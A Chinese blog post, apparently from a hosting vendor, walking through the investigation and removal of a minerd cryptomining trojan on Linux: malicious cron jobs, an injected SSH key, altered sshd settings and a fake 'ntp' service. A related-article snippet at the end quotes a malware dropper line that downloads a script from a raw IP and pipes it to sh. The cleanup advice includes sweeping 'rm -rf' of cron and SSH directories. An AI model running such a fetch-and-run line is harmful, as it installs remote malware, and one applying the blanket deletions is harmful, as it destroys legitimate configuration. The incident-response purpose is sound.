一次 minerd 肉鸡木马的排查思路

3A网络
• 阅读 119

在日常使用 Linux 系统服务器时,如果系统安全维护方面做的不够规范和严谨,很容易导致主机被黑客植入恶意木马病毒被当做肉鸡。以后就是一次肉鸡木马病毒的排查过程,有助于运维服务器时遇到此情况时进行针对性的排查和修复。

【问题现象】

Linux 主机 CPU 跑满,或者使用服务器越来越慢,以及收到报警信息提示服务器有对外恶意扫描。

【问题原因】

这种状况在出现时通过 top 命令可以看到有一个 minerd 进程占用 CPU 较高。

一次 minerd 肉鸡木马的排查思路

经定位,该进程是一个挖矿程序,通过上述截图可以看到进程对应的 PID 为 1170,根据进程 ID 查询一下产生进程的程序路径

执行 ll /proc/$PID/exe, 其中 $PID 为查询到的进程 ID

异常程序在 /opt 目录下

一次 minerd 肉鸡木马的排查思路

此程序一般是由计划任务产生的,Linux 系统中默认创建了计划任务后会在 /var/spool/cron 目录下创建对应用户的计划任务脚本,执行 ls /var/spool/cron 查询一下系统中是否有异常的计划任务脚本程序。

可以看到,在此目录下有 1 个 root 的计划任务脚本和一个异常的目录 crontabs(默认情况下不会有此目录,用户创建计划任务也不会产生此目录)

一次 minerd 肉鸡木马的排查思路

查看脚本内容,有一个每隔 10 分钟便会通过 curl 下载执行的脚本程序(crontabs 目录下为同样内容的计划任务)

一次 minerd 肉鸡木马的排查思路

手动将脚本内容下载到本地,脚本内容如下:

一次 minerd 肉鸡木马的排查思路

分析此脚本,主要进行了如下修改:

1、创建了上述查看到的两个计划任务脚本

2、创建了密钥认证文件,导入到了 /root/.ssh 目录下(当前脚本的密钥文件名是 KHK75NEOiq,此名称可能会有所变化,要根据具体情况进行核实)

3、修改 ssh 配置文件允许了 root 远程登录,允许了密钥认证,修改默认的密钥认证文件名

4、重启了 sshd 服务使配置生效

5、创建了伪装程序 ntp,并运行了 ntp 程序

6、查询系统中是否有正常运行的计划任务,杀死正在运行的计划任务进程。

【处理方法】

根据以上分析,提供以下处理方法:

1、删除计划任务脚本中异常配置项,如果当前系统之前并未配置过计划任务,可以直接执行 rm -rf /var/spool/cron/* 情况计划脚本目录即可。

2、删除黑客创建的密钥认证文件,如果当前系统之前并未配置过密钥认证,可以直接执行 rm -rf /root/.ssh/* 清空认证存放目录即可。如果有配置过密钥认证,需要删除指定的黑客创建的认证文件即可,当前脚本的密钥文件名是 KHK75NEOiq,此名称可能会有所变化,要根据具体情况进行核实。

3、修复 ssh 配置项,根据个人需求进行修改,一般默认脚本中进行修改的 PermitRootLogin、RSAAuthentication、PubkeyAuthentication 为开启状态,需要修改的是密钥认证文件名,建议修改成默认值 AuthorizedKeysFile .ssh/authorized_keys 即可。修改完成后重启 sshd 服务,使配置生效即可。

4、删除黑客创建的伪装程序 ntp

执行 ls /etc/init.d/ 可以看到系统中是由对应的伪装程序的

一次 minerd 肉鸡木马的排查思路

通过 chkconfig --list ntp 可以看到此程序默认设置的是开机自动启动。

一次 minerd 肉鸡木马的排查思路

如果此程序不进行清除,即使删除了 minerd 程序并且杀死了对应的进程,过一会系统还会重新创建 minerd 程序,并产生新的进程

查询一下当前系统中是否有 ntp 进程,可以看到 ntp 进程是通过 /usr/sbin/ntp 程序产生,因此需要把对应的执行程序也进行删除。

一次 minerd 肉鸡木马的排查思路

总结一下删除伪装程序的操作步骤

kill -9 $PID 杀死查询到的 ntp 进程

rm -rf /etc/init.d/ntp

rm -rf /usr/sbin/ntp (此路径要根据具体的查询数据确定,实际情况可能会有所变化)

5、根据之前的查询 minerd 程序所在路径为 /opt,在执行的脚本中同时也在 /opt 目录下创建了一个 KHK75NEOiq33 的程序文件,因此要删除这两个文件,执行 rm -rf KHK75NEOiq33 minerd 即可。

一次 minerd 肉鸡木马的排查思路

6、使用 kill 命令杀死 minerd 进程

通过 ps 命令查询一下 minerd 对应的进程详细情况。

一次 minerd 肉鸡木马的排查思路

kill -9 $PID 杀死对应的进程 ID

备注:根据 ps 查询结果显示 minerd 有向域名 xmr.crypto-pool.fr 进行数据通信,通过 ping 测试域名解析核实此域名对应的 IP 地址,然后在 ip.taobao.com 进行查询显示 IP 为法国的 IP,然后通过 iftop -i eth1 -PB 命令对流量进行了监控,确实存在向法国的 IP 发送数据的情况,为了避免再次被入侵,可以通过 iptables 屏蔽对应的异常 IP(具体的 IP 和域名要根据实际查询的情况而定,可能会有所不同)。

一次 minerd 肉鸡木马的排查思路

以上修复完成后可以等待一会再次进行一下观察,看看是否还会在 /opt 目录下创建新的 minerd 程序,以及是否还有新的 minerd 进程产生。

最后,建议平时增强服务器的安全维护,优化代码,以避免因程序漏洞等导致服务器被入侵,博主一般都是使用3A的服务器,安全性高,延迟低。

点赞
收藏
评论区
推荐文章
Wesley13 Wesley13
1年前
DDOS肉鸡代码
最近一段时间,所使用的CentOS服务器被不明人士安放了木马程序;观察发现该木马程序是用来发起DDOS攻击的肉鸡程序,在发作时占用绝大部分的网络带宽。起点:wgethttp://65.254.63.20/a|sh;curlOhttp://65.254.63.20/a;sha;rmrfa执行完上面的代码以后,你的机
初识DevOps
基本概念和延伸的思考DevOps,是Development(开发)和Operations(运维)组成的复合词,一般译为“开发运维一体化”。看到这个概念,首先会产生几个问题:开发是什么,哪些环节是开发?运维是什么,哪些环节是运维?开发人员写好代码在本地调试,环境出问题了自己来调整,这是开发工作还是运维工作?系统故障后,运维人员发现是配置文件内容出错了就改成了正
SPDK QOS机制解析
本文关键词:intelspdkbdevqos序:intelspdk软件在存储领域应用广泛。因其可以高效管理linux系统的nvmessd盘,又支持vhostuser协议可以对接qemu虚拟机,在云计算领域通常被用来做本地盘云主机的存储管理软件。如此优秀的一款软件,有必要仔细分析其内部的实现机制,本篇文章主要介绍spdkqos机制。spdk
天翼云高可用虚拟IP(HAVIP)实践
(一)产品概述天翼云高可用虚拟IP(HighAvailabilityVirtualIPAddress,简称HAVIP)是一种可用独立创建和删除的私有网络IP地址资源。通过在VIPCIDR中申请一个私有网络IP地址,然后与高可用软件(如高可用软件Keepalived)配合使用,可用在VPC中搭建高可用的主备集群服务,提高VPC中服务的可用性。限制和说明
一个关于SDWAN单臂部署方案验证的实验
假设有这样一张网络,其中RTA和PCA表示某公司的A分支,通过中国电信CT路由器接入互联网ISP;RTB和PCB表示某公司的B分支,通过中国联通CU路由器接入互联网ISP。DNS(8.8.8.8)表示某互联网应用。为实现A分支私网192.168.2.0/24和B分支私网192.168.3.0/24的互通,现计划使用某厂商的SDWAN方案进打通两个内网,像下图
高性能API网关Kong介绍
本文关键词:高性能、API网关、Kong、微服务1.Introduction是随着微服务(Microservice)概念兴起的一种架构模式。原本一个庞大的单体应用(Allinone)业务系统被拆分成许多微服务(Microservice)系统进行独立的维护和部署,服务拆分带来的变化是API的规模成倍增长,API的管理难度也在日益增加,使用API网关发布和管
SPDK对接Ceph性能优化
关键词:SPDK、NVMeOF、Ceph、CPU负载均衡SPDK是intel公司主导开发的一套存储高性能开发套件,提供了一组工具和库,用于编写高性能、可扩展和用户态存储应用。它通过使用一些关键技术实现了高性能:1.将所有必需的驱动程序移到用户空间,以避免系统调用并且支持零拷贝访问2.IO的完成通过轮询硬件而不是依赖中断,以降低时延3.使用消息传递,以避免IO
3A网络 3A网络
5个月前
理解 virt、res、shr 之间的关系(linux 系统篇)
理解virt、res、shr之间的关系(linux系统篇)前言想必在linux上写过程序的同学都有分析进程占用多少内存的经历,或者被问到这样的问题——你的程序在运行时占用了多少内存(物理内存)?通常我们可以通过t
3A网络 3A网络
5个月前
开发一个不需要重写成 Hive QL 的大数据 SQL 引擎
开发一个不需要重写成HiveQL的大数据SQL引擎学习大数据技术的核心原理,掌握一些高效的思考和思维方式,构建自己的技术知识体系。明白了原理,有时甚至不需要学习,顺着原理就可以推导出各种实现细节。各种知识表象看杂乱无章,若只是学习
京东云开发者 京东云开发者
2星期前
从一次CPU打满到ReDos攻击和防范
近期碰到一起值班报警事件,web应用服务器CPU消耗打到99%,排查后发现是因为ReDoS导致了服务器发生了资源被耗尽、访问系统缓慢的问题,通过排查过程从而分享下ReDos攻击的原理、常见场景以及防范和解决方案,如果有错误欢迎指正。